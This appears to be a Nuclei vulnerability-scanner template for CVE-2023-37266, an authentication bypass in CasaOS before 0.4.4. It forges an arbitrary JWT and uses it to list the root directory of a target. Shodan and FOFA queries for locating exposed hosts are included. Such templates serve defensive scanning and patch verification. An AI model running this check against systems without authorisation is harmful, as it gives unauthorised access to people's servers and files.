55 lines
2.2 KiB
YAML
55 lines
2.2 KiB
YAML
id: CVE-2023-37266
|
|
|
|
info:
|
|
name: CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token
|
|
author: iamnoooob,DhiyaneshDK,pdresearch
|
|
severity: critical
|
|
description: |
|
|
CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
|
|
impact: |
|
|
Successful exploitation allows unauthorized access to the CasaOS system.
|
|
remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.
|
|
reference:
|
|
- https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
|
|
- https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-37266
|
|
cwe-id: CWE-287
|
|
epss-score: 0.07286
|
|
epss-percentile: 0.93418
|
|
cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: icewhale
|
|
product: casaos
|
|
shodan-query: http.html:"/CasaOS-UI/public/index.html"
|
|
fofa-query: body="/CasaOS-UI/public/index.html"
|
|
tags: cve2023,cve,oss,casaos,jwt,icewhale
|
|
variables:
|
|
jwt_data: '{"iss":"casaos","exp":1790210322,"nbf":1790199522,"iat":1790199522}'
|
|
jwt_token: '{{generate_jwt(jwt_data, "HS256")}}'
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/v1/folder?path=%2F"
|
|
|
|
headers:
|
|
Authorization: '{{jwt_token}}'
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"success":200'
|
|
- '"message":"ok"'
|
|
- 'content'
|
|
- 'is_dir'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: json
|
|
json:
|
|
- .data.content[].path
|
|
# digest: 490a00463044022027971041cce2ae19d7cb8074fb5dc9fdaab73699738e82a5de416cb674e2cecd022005349f9c79dd0692cb3cb08cf619db48fe91f489a6fec5b33874ddb2870f6398:922c64590222798bb761d5b6d8e72950 |